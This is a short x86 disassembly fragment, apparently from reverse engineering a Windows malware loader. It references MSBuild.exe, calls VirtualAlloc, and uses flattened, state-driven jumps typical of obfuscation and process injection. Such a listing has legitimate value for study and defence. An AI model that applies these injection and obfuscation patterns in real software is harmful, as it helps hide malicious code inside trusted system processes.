mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x11c], 0xb4727069
jmp 0x100103c5
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x11c], 0x83aa2d75
jmp 0x100103c5
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x11c], 0x1b4dffb6
jmp 0x100103c5
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x11c], 0x14b637a7
jmp 0x100103c5
jmp 0x1000727f